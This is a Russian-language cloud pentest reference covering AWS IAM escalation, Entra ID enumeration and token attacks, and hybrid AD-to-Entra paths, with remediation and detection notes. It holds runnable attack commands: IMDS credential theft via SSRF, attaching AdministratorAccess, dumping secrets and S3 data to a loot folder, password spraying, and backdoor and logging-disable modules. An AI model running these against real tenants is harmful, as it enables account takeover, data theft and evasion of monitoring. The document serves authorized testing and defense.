← ZavetSec Library
ZavetSec // Cloud & Identity

ATTACKING CLOUD & IDENTITY

Справочник по пентесту облака и облачной идентичности: AWS (IAM, привилегии, сервисы) и Microsoft Azure / Entra ID (энумерация, token-атаки, эскалация ролей), плюс гибридная связка on-prem AD ↔ Entra. Облако в 2026 — это атака на идентичность, а не на периметр: ~95% инцидентов — мисконфиги клиента, а не уязвимости провайдера. Каждая техника: суть, предусловие, инструмент, команда. Только авторизованный scope (клиент + правила провайдера).

ФОРМАТ: DEEP REFERENCE РАЗДЕЛОВ: 12 ФОКУС: AWS · AZURE / ENTRA · HYBRID SCOPE: AUTHORIZED ONLY
// 00

Введение и модель облака

Двойная авторизация. Облачный пентест требует не только письменного разрешения клиента (scope/RoE), но и соответствия правилам провайдера. AWS и Azure разрешают тестирование собственных ресурсов в рамках своих penetration testing policy, но запрещают атаки на саму инфраструктуру провайдера, DoS и тесты чужих арендаторов. Перед началом — сверься с актуальной политикой провайдера и зафиксируй границы (аккаунты/подписки/tenant) письменно. В РФ несанкционированный доступ — ст. 272–274 УК.

Почему облако — это идентичность

В облаке нет «периметра» в классическом смысле. Граница — это идентичность (IAM-роль, service principal, токен) и её права. Поэтому облачный пентест на 90% состоит из энумерации прав и поиска путей эскалации через мисконфиги, а не из эксплойтов сервисов. Подавляющее большинство облачных инцидентов — ошибки конфигурации на стороне клиента, а не уязвимости провайдера.

Карта атаки

# Универсальный поток (AWS и Azure/Entra симметричны по логике)
unauth    → публичные ресурсы (S3/Blob), enum tenant/account, user enum
creds     → утечки, password spray, token theft, device-code phishing
enum      → права текущей идентичности, карта ролей и ресурсов
privesc   → мисконфиг IAM/ролей → повышение прав (часто one-shot)
lateral   → assume-role / pivot между подписками / service principals
impact    → доступ к данным, секреты, персистентность, exfil

Базовый инструментарий

ИнструментОблакоРоль
aws-cliAWSНативный CLI — основа ручной энумерации/эксплуатации
PacuAWSOffensive-фреймворк (RhinoSecurityLabs): модули enum/privesc/persist
CloudFoxAWS (+ multi)Поиск exploitable attack paths по правам
enumerate-iamAWSБрут разрешённых IAM-действий текущего ключа
ROADtoolsEntraroadrecon: сбор данных из Microsoft Graph + offline-анализ/GUI
AzureHoundAzure/EntraКоллектор для BloodHound: граф путей в облаке (Go)
MicroBurst / PowerZureAzurePowerShell-наборы: энумерация и эксплуатация
ScoutSuite / ProwlermultiАудит конфигурации (posture) — также purple-сторона
AzureHound уже «боевой». По данным threat-intelligence (Unit 42 и др.), в 2025–2026 AzureHound активно используется реальными APT-группами (включая Curious Serpens и Void Blizzard) на этапе post-compromise discovery для картирования tenant. Для purple это значит: его активность (массовые Graph/Azure REST-запросы) — конкретный детект-сигнал, который стоит уметь ловить.
// 01

AWS: рекон и unauthAWS

До получения кред: публичные ресурсы, идентификаторы аккаунта, метадата-сервис через SSRF.

Публичные S3 и активы // unauth

# Проверить бакет на анонимный доступ
aws s3 ls s3://bucket-name --no-sign-request
aws s3 cp s3://bucket-name/file - --no-sign-request

# Поиск публичных бакетов по имени организации
cloud_enum -k company            # multi-cloud: S3/Blob/GCP
# внешние индексы публичных бакетов: grayhatwarfare (через браузер)

IMDS через SSRF // кража роли EC2

Если на приложении есть SSRF, метадата-сервис EC2 (169.254.169.254) может выдать временные креды IAM-роли инстанса. IMDSv1 уязвим к простому GET; IMDSv2 требует токен (PUT), но некоторые SSRF позволяют и PUT. Классика — брешь Capital One (2019).

# IMDSv1 (GET) -- через SSRF в приложении
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>

# IMDSv2 -- сначала токен (PUT), затем запрос с токеном
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 60")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
# полученные AccessKey/SecretKey/Token -> aws configure / профиль
Ремедиация (для отчёта). Принудительный IMDSv2 (--http-tokens required), hop-limit 1, S3 Block Public Access на уровне организации — закрывают самые частые unauth-векторы.
// 02

AWS: энумерация IAMAWS

С кредами первый шаг — понять, кто я и что мне разрешено. Вывод любого инструмента ограничен правами текущей идентичности.

Кто я // aws-cli baseline

aws configure --profile compromised          # завести профиль с кредами
aws sts get-caller-identity --profile compromised   # ARN/аккаунт текущей идентичности

# Свои политики (если есть права на чтение IAM)
aws iam list-attached-user-policies --user-name target-user --profile compromised
aws iam list-user-policies --user-name target-user --profile compromised

Брут разрешённых действий // enumerate-iam

Когда явных прав на чтение IAM нет, enumerate-iam перебирает API-вызовы и определяет, какие действия разрешены текущему ключу (по принципу «вызов прошёл / AccessDenied»).

enumerate-iam --access-key AKIA... --secret-key ...

CloudFox // карта эксплуатируемых путей

./cloudfox aws --profile compromised inventory       # инвентаризация по регионам/сервисам
./cloudfox aws --profile compromised all-checks      # все проверки (роли, секреты, эндпоинты)
# подсвечивает: где лежат секреты, какие роли можно assume, exposed-ресурсы
// 03

AWS: IAM privilege escalationAWS

Сердце AWS-пентеста. Известно 20+ путей эскалации через отдельные IAM-разрешения; Pacu автоматизирует их поиск, но логику нужно понимать.

Pacu // поиск и эксплуатация

python3 pacu.py
Pacu> import_keys compromised                   # загрузить креды
Pacu> run iam__enum_permissions                  # права текущей идентичности
Pacu> run iam__enum_users_roles_policies_groups  # полная карта IAM
Pacu> run iam__privesc_scan                       # проверка 20+ путей эскалации
Pacu> whoami                                      # обновлённые права после эскалации

Ключевые опасные разрешения // что эксплуатируется

РазрешениеКак эскалирует
iam:PassRole + ec2:RunInstancesЗапустить инстанс с привилегированной ролью → забрать её креды через IMDS
iam:PassRole + lambda:*Создать Lambda с привилегированной ролью → исполнить от её имени
iam:AttachRolePolicyПрицепить AdministratorAccess к подконтрольной роли
iam:PutRolePolicyДописать inline-политику с нужными правами
iam:CreatePolicyVersionСоздать новую версию политики с расширенными правами
iam:CreateAccessKeyСоздать ключ доступа другому (более привилегированному) пользователю
iam:UpdateLoginProfileСменить/задать пароль консоли другому пользователю
sts:AssumeRoleПринять роль с большими правами (если trust policy позволяет)

Пример: AttachRolePolicy → admin

# 1) прицепить админ-политику к подконтрольной роли
aws iam attach-role-policy --role-name SupportRole \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --profile compromised

# 2) принять роль -> получить временные admin-креды
aws sts assume-role --role-arn arn:aws:iam::ACCT:role/SupportRole \
  --role-session-name privesc --profile compromised
# 3) сконфигурировать новый профиль из выданных Credentials
Корень риска. iam:PassRole, iam:CreatePolicyVersion, sts:AssumeRole без resource-ограничений = цепочка от минимального доступа до полного администрирования. Ремедиация: least privilege, явные resource-constraints, запрет wildcard на чувствительных IAM-действиях.
// 04

AWS: сервисы и post-exAWS

После эскалации — доступ к данным и секретам, персистентность, понимание детекта.

Секреты и данные

# Secrets Manager и SSM Parameter Store -- частые хранилища кред
aws secretsmanager list-secrets --profile p
aws secretsmanager get-secret-value --secret-id name --profile p
aws ssm get-parameters-by-path --path / --with-decryption --profile p

# S3 -- листинг и выгрузка
aws s3 ls --profile p
aws s3 sync s3://bucket ./loot --profile p

# Снапшоты EBS/RDS -- часто содержат данные, иногда публичны
aws ec2 describe-snapshots --owner-ids ACCT --profile p

Персистентность и evasion (через Pacu)

Модуль PacuДействие
iam__backdoor_users_keysСоздать дополнительный ключ доступа (скрытная персистентность)
iam__backdoor_assume_roleИзменить trust policy роли под себя
lambda__backdoor_new_rolesБэкдор через Lambda с привилегированной ролью
cloudtrail__disableОтключить логирование CloudTrail (шумно, детектируемо)
guardduty__list_accountsПроверить покрытие GuardDuty
Детект и cleanup. CloudTrail (во всех регионах) + GuardDuty фиксируют опасные API-вызовы (AttachRolePolicy, CreateAccessKey, отключение логов). Всё созданное на проекте (ключи, политики, роли, инстансы) фиксируется и удаляется после теста; отключение CloudTrail — только при явном согласовании. Для purple это карта того, какие события мониторить.
// 05

Entra: рекон и unauthAzure / Entra

Microsoft Entra ID (бывш. Azure AD) — облачная идентичность M365/Azure. До кред: валидность tenant, перечисление пользователей, проверка MFA.

Tenant и пользователи // unauth user enum

Эндпоинты входа M365 позволяют без аутентификации проверить существование tenant и валидность имён пользователей (по разнице ответов). Это даёт список для последующего spray.

# Существование/детали tenant (публичный эндпоинт)
# https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1

# Перечисление валидных пользователей
o365enum.py -u users.txt                  # по ответам auth-эндпоинта
python3 o365creeper.py -f emails.txt      # проверка существования адресов

# Проверить, где НЕ включён MFA (по аккаунтам)
MFASweep -u user@target.com -p 'pass'  # какие сервисы доступны без MFA
OPSEC. Неудачные входы в Entra пишутся в Sign-in logs; массовый user-enum и spray детектируются Identity Protection. Темп и распределение по времени критичны (см. раздел 07).
// 06

Entra: энумерацияAzure / Entra

С валидной идентичностью — собрать полную карту: пользователи, группы, роли, app registrations, service principals, ресурсы. Дальше — граф путей (AzureHound → BloodHound).

ROADtools // roadrecon: сбор из Microsoft Graph

Базовый фреймворк разведки Entra: аутентифицируется, выкачивает объекты директории из Graph в локальную БД, даёт offline-анализ и GUI. Стартовая точка по Entra.

roadrecon auth -u user@target.com -p 'pass'   # получить токен
roadrecon gather                                # выкачать объекты директории
roadrecon gui                                   # локальный веб-анализ собранного

AzureHound // граф путей для BloodHound

Коллектор BloodHound для облака: через Microsoft Graph и Azure REST API собирает идентичности, роли, права и ресурсы, выгружает JSON для построения графа атак. Работает удалённо, не требует исполнения внутри сети жертвы.

azurehound -u user@target.com -p 'pass' list --tenant <tenant-id> -o output.json
# импорт output.json в BloodHound CE -> Azure attack paths
# ищем: пути к Global Admin, владельцев app/SP, роли с эскалацией

MicroBurst / прочее // PowerShell-энумерация

Import-Module .\MicroBurst.psm1
Invoke-EnumerateAzureBlobs -Base company     # поиск Storage-блобов по имени
# ScoutSuite для конфиг-обзора (раздел 10): scout azure --cli
// 07

Entra: spray и token-атакиAzure / Entra

Получение и кража идентичности в Entra — это пароли, токены и сессии, а не хэши. Здесь же — обход MFA через кражу сессии.

Password spraying // MSOLSpray / TeamFiltration

# Спрей одним паролем по списку (с учётом lockout / Smart Lockout)
MSOLSpray --userlist users.txt --password 'Spring2026!'

# Комбайн: enum + spray + exfil по M365 (Teams/OneDrive/Outlook)
TeamFiltration --enum --spray --users users.txt --password 'Spring2026!'
Smart Lockout и темп. Entra применяет Smart Lockout и логирует sign-in. Спрей — медленный, распределённый по времени, один пароль на раунд. Параметры согласуются с заказчиком; иначе риск блокировок и срыва.

Device code phishing // получение токена

Атака на device-code flow: жертва вводит код на легитимной странице Microsoft, а токен достаётся атакующему. Не требует пароля и часто проходит мимо части MFA-сценариев. Применяется только в рамках согласованного фишинг-учения.

Инструменты класса device-code/token: TokenTactics, ROADtools (roadtx). Конкретные payload-сценарии — в рамках письменно согласованной social-engineering программы (см. раздел про соц-инженерию в Codex).

Кража сессии / обход MFA // концептуально

AiTM-фишинг (например, Evilginx) проксирует логин и крадёт сессионную cookie уже после MFA — обходя его. Это инструмент социнженерии; здесь фиксируем как класс угрозы и детект-поверхность, без готового фишинг-кита.

Purple-нота. Защита от token/AiTM-атак: Conditional Access с привязкой к устройству/локации, token protection, phishing-resistant MFA (FIDO2). Для детекта — аномальные sign-in (новый ASN/устройство при валидной сессии), что видно в Entra Sign-in logs.
// 08

Entra/Azure: эскалацияAzure / Entra

Повышение прав в Entra/Azure идёт через роли директории, владение приложениями/service principal, и привилегированные ресурсы (Key Vault, Automation).

Частые векторы эскалации

ВекторСуть
App / SP ownershipВладелец app registration может добавить себе client secret и действовать от имени service principal с его правами
Privileged role assignmentПраво назначать роли (или членство в группе, дающей роль) → выдать себе Global/Privileged Role Admin
Dynamic group abuseЕсли членство в привилег. группе вычисляется по атрибуту, которым можно управлять — попасть в неё
Key Vault accessДоступ к Key Vault → секреты/ключи/сертификаты других сервисов
Automation AccountRunAs/Managed Identity автоматизации часто переприлегированы → исполнение от их имени
Over-privileged SPService principal с Owner/Contributor на подписке = огромный blast radius

Инструменты эксплуатации // PowerZure / Az CLI

Import-Module .\PowerZure.ps1
Get-AzureTarget                       # на что у текущей идентичности есть права
# добавление client secret владельцем приложения (пример логики)
# az ad app credential reset --id <appId>  -> аутентификация как SP

# роли и назначения через нативный Az CLI
az role assignment list --assignee <objectId> --all
az role assignment create --assignee <objectId> --role Owner --scope /subscriptions/<id>
// 09

Hybrid: AD ↔ EntraHybrid

Большинство реальных сред — гибридные: локальный AD синхронизирован с Entra через Entra Connect. Это двусторонний мост: компрометация одной стороны часто ведёт к другой. Прямое продолжение документа AD Attack Reference.

Точки связи // Entra Connect

Механизм syncЧто значит для атакующего
Password Hash Sync (PHS)Сервер Entra Connect хранит материал для синка хэшей; его компрометация = массовый доступ
Pass-Through Auth (PTA)Агент PTA на on-prem; компрометация агента → перехват аутентификаций
Seamless SSOАккаунт AZUREADSSOACC (его хэш) → подделка Kerberos-билетов к облаку (Silver-подобное)
Federation (ADFS)Кража token-signing ключа ADFS → Golden SAML (выдать себя за кого угодно в облаке)

Направления перехода

# On-prem -> Cloud
DA on-prem  → дамп сервера Entra Connect → креды sync-аккаунта → доступ к Entra
ADFS       → token-signing key → Golden SAML → любой облачный пользователь
AZUREADSSOACC hash → Silver Ticket к Azure-ресурсам

# Cloud -> On-prem
Global Admin → Intune/management → исполнение на on-prem устройствах
Entra-роль с правами на гибридные объекты → влияние на on-prem
Почему это ключевой раздел 2026. BeyondTrust на SO-CON 2025 показали, как локальные мисконфиги (включая ADCS) ведут к полной компрометации облачной части гибрида. Граница on-prem/cloud — самая недооценённая поверхность: команды защищают их раздельно, а атакующий ходит сквозь. Связывай этот документ с AD Attack Reference при гибридном scope.
// 10

Posture-сканеры (purple)Defense

Те же инструменты, что находят мисконфиги для атаки, используются и для аудита/защиты. Это естественная purple-сторона облака.

ИнструментОблакоНазначение
ScoutSuitemulti (AWS/Azure/GCP)Аудит конфигурации, отчёт по мисконфигам
ProwlermultiПроверки best-practice / соответствия (CIS и др.)
CloudFoxAWSAttack-path discovery (offensive-aware аудит)
Monkey365M365/AzureОценка конфигурации M365/Entra
CRT (CrowdStrike)Azure/M365Проверка прав и конфигурации tenant
scout aws                                  # ScoutSuite по AWS (через настроенный профиль)
scout azure --cli                          # ScoutSuite по Azure
prowler aws                                # Prowler по AWS
prowler azure                              # Prowler по Azure
Purple-цикл. Прогнать ScoutSuite/Prowler → получить список мисконфигов → проверить эксплуатируемость (CloudFox/Pacu/AzureHound) → исправить → перепроверить. Один и тот же артефакт работает и как findings отчёта, и как чек-лист харденинга.
// 11

Методология и отчёт

Облачный пентест имеет специфику в правилах и в детекте — это нужно учесть и в подготовке, и в отчёте.

Перед началом

ПунктЗачем
Письменное разрешение клиентаScope: аккаунты AWS / подписки / tenant Entra, границы, время
Политика провайдераAWS/Azure ограничивают типы тестов (нельзя DoS, нельзя инфраструктуру провайдера/чужие tenant)
ЛогированиеУбедиться, что CloudTrail / Entra Sign-in / diagnostic logs включены — для воспроизводимости и purple
ОчисткаЗаранее фиксировать всё созданное (ключи, роли, SP, секреты) для cleanup
# Структура раздела облака в отчёте
1. Identity exposure   -- что доступно с текущей идентичности и почему
2. Privesc paths       -- конкретные пути (IAM-действия / роли) с PoC
3. Data access         -- к каким данным/секретам получен доступ
4. Blast radius        -- масштаб (подписка/аккаунт/tenant), бизнес-риск
5. Detection           -- что сработало/должно было (CloudTrail/Sign-in)
6. Remediation         -- least privilege, IMDSv2, CA-политики, мониторинг
Принцип двух колонок (как везде в наборе). Для каждой находки — «как проэксплуатировано» и «какое событие это оставило в CloudTrail / Entra Sign-in». Первое делает отчёт убедительным, второе — даёт заказчику готовые детекты. Это и есть purple-ценность облачного пентеста.